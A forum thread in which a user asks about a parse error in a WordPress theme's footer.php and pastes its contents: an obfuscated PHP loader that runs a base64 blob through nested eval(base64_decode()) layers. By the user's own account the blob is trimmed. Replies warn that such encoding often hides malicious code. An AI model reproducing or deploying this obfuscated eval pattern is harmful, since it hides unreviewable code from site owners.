Parse Error?

lukafer2

I'm trying to set up a wordpress theme, but I'm getting this error :

Parse error: syntax error, unexpected T_STRING in /home/content/s/a/m/samhan****24/html/thecaninedirectory/wp-content/themes/splendour/footer.php(2) : eval()'d code(1) : eval()'d code on line 10

It's saying something about the footer file, so I opened that up, and this is what I found:

<?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
$o="QAA4Cg0KDTsoY25xOQChAMAAsCduYwBAOiVhaGhzYnUlAXBEaHd+dW4CAGBvcychZACwPCc7OHdvdydiAABkb2gnY2ZzYi8gXiAuPDg5gAEBhGVraGBuaWFoLyBpZmpixIfndmcjUxY2RzV2BoVX4AAD5fd0pLZj5uTENyRWtdKFEAAH1oUGRyS0lkUTN3ZG1ORVIAAE1gQE03NWw0cEAxdU90SkQAAGV+T3MzcVNgYjc1cGo0fUIAAFVOQXBWfTY+bUJAVE92bW4AAE51S2xGLEJKSX5DPk5lPlcAAEBKV2g3ajdrVGA0P2N0Y18AAH4oRXBSanZ2fXZDXz9SMmMAAFNTX1ZofmE2S1U/c3QyfXEAAGhmfnA1fmlKQldNPlJuNVUAQHQ+SkVGdW9jMu8gYnBEP0VSAABdbj8odnJSd19KYUhMPkRgAAA3S1draW9BfXJQdFZjUEFUIABxXS2AT35MNDBxZVZCdzdrTAgAaWtpRolAfzRgbWQ1TFRGfnMAAH1RYXRidjJmbl5/Xnc1cz8AAFBWUWVedGJVN2I3Sl5/T1MAAHVTSzMwdTF0bTBIbGlAU2wAAFR2XUBWaz9XXTUobVcxZVMAADZmMV99UVdwTE1eUFEoZWQAACxSKGxRM01NT2M/QjRTYDIAADVMUU4oM18wUk1UXkZjTmQAAGssclVsNUlwTmkyYTJwT1cAAEZWSG53ZlB3NVdqcl5VTW4AAG1lX3BxXShLc1VNTGZNc2wAAElWSzF+TEswS11UaXBya1YAAEx1VE9BQlByVn5RVX4xPlAAAHZhNEpJPn9AdGxUSkJBLGgAAGE+dnRlNkhGaH5vP2xzZH8AAF1QVDVpMHZAbDNOTUUsdzcAAnBXS0FzQHdXdmtRTENiCzB/AABrUDNUZH5PUENOcHEsQF42AABhX2pSTUpTYm5WVWJGYFRMAAByXU1TdUJlXkl3ZmswT210IAB2YkMwcWpIMndscCxUX1QxcSAAcFBEMHJ9TSwsTUtAYDFWb2oAAFVeYEtDQ3ZrLEZeZWNDQ0AAAFRSQU5qN0NxSU5hMHB9dTUAAGRUakhoXUJDd2V0Zj5zLGUAAHJkVU9vUzY+XTdOMlI/am8AAGNVYX0xNUVhYD9vNDAoTW0AAHU+YixeUWZGUTU2NWQzU0MAAHdRSFNQTUk1dl5VV2tURGkAADJlZWtEam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G9KTEJGfUFRAAB3ZF1Wb2I1TWpNZFUyX30/AABIUGhFam5GY3J9ZkAxRDBKAABLQ0hjMX5zVH5QcFA/aVVgAABmfklVbm5ybX5oSixzM113AABuTz40LCxiTGQ0dGZwaEJeAABjX0Q3XjMoMmFuU05SaG9dAABLRFNmV3dLY2YsLD9+aTNTAABxc2VCXjRVTmhmNU5BT0Q3ACAwdDV9UFVpZD9qLpBrNj8wcQAASzVUVnJwV11qdnVBfjBqNQAASlZGQ2RydlI0SDFDVGFqdAAANjRhdWxqakJ2Smp0VnE2ShAAfmllSfBuV1U2Yih1aFRxQk8AAExTMDFvZTReTlIzQ21LY2IIAEp+TXT8gF9pU21BblR1QTZvAABdVmlVcTdpZj53bEhQP0ZOAAB+aGpNS0tsYEU/T2VEYV02AABJdFJDN1VRMEVGXnZhSHUwAABETUxLSlQyfjBCYX5kPkpXAABoXlNtSjVmbVNjYGpiU351AABfRT4/MGBKdlE2NDF+bEpWAABqaUtrakBPN2RodUpBZGNhAABpZUt2YWp9P1NPNHBKYTNmAABqVzFydzQxaHVhd0xEZH5UAABVY1FOXVFJblFjdTJOXm0/AABif0BFaVFDVzY+M19PVHR3AAExYUFsdUUyd0wxZFJ/bnXGUAAAdGN/aj53TzBhf3NBLCgsRgAAbChycnQ/bn8wYU5LZmxwTwAAX0hAfm8xT3QxMVN3Zko/cgAAYGBKXnJ+cX9zN1VvZlJhLAIAdVZBVWNFByBMT0p9MnZ2XXcAAFUoS1JscHFxPkM0Pl1gM1MAAGVUREtALEZEPjEoNmpwMncAAG1/bG1dbmVJSUtQNF1mQmMAAG9ta1NWYlZWVnRlbEVoTmsAACg3QT9uN3NkT3JmKEs2fTMAAF12bGVWTTZycWNMdj9dZE4AAnZBaWxLVzB+RWlsQzI+xaBQAAB1aEtmQmRBalJ1RUp/KFBlAAB0bmVpSD93VElCdmJtNU00AABmUVdRNXZKU35sQ2RCcVJGAABSa2tMTmlsXW4xKGw3bUw1AAA1Y0FMTzZodGRKdGl9b2hFAAA1cVBLX3R9SXNDPn9mdVI/AABMUF9FMjdNRkksc2FxQUYoACBhajFzdV1SP1ReVZBwQXRNfwAAcCx9V01DS01qYHYzfkhUVAAAaExMaDJMVjNlTUEwZFE+cwAAXj50Pyh0QlFydEY/M0RVYgAATnJSRnBBdWg1cW8sbnR2YQAAYl9rPk1DMlJANE9eLG1kbgAAZDJBM01DSXB3LHdQQz9pfwQAdm13a1CFMW5FSHJRQFM+MkoAAH9SYElmXkNIcn1GfzJAbHYAAGFTKFVgQ0g/LGpAd2xOQV4AAGVGRnVNdChITmtqTVV3NksAAEBdRmx1SUFhVWYoPjMoU3QAAH1DbUZWUlc2a05UUzNNPmkAAFU=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

I'm not sure what to make of that, so if you know how I can fix this, please let me know. (I took out some of the random letters and numbers in the middle to make it under 10,000 characters.

Thanks
-luke

laserlight

It looks like something that has been base64 encoded, e.g., with [man]base64_encode/man.

A warning though: this is a common tactic to "hide" malicious code. The "warning", which may or may not be legally effective in the first place, may just be an attempt to dissuade users from discovering that the code is indeed malicious before running it.

In any case, the appropriate solution is to contact the theme author and request for assistance.

halojoy

When we see such base64 encoded stuff
like in that footer.php + eval( base64_decode("
it is no longer open code.
The author has hidden some scripting from the user.
For some reason only he knows.
Most probably he wants to make sure keep his own Copyright link in the footer.

laserlight's warning may be to consider.

I suggest you find another Wordpress Theme, than Splendour
( http://www.wpthemespress.com/splendour/ )
There are 100s and 1000s of other nice WP themes, you know.

lukafer2

Is there any way to fix this on my own, or do I need the creator to edit it?

NogDog

Well, if you have a lot of patience you can burrow down into the multiple layers of base64 encoding until you have all of the actual PHP code that gets executed, and then analyze it to figure out what it does, then rewrite it to whatever you want it to be (after assuring yourself it does not do anything malicious).

Personally, I'd either go the "find another template" route, as I'm too lazy for that and there are so many WordPress themes out there you could use instead; or I would write my own footer file and use it instead.

lukafer2

I decided just to download the template from a different site, and sure enough it worked 🙂

Here's the site if you're interested: http://www.thecaninedirectory.com (it's still a work in progress)

halojoy

Your new theme looks just fine.
Just need some adjustment at the top banner text.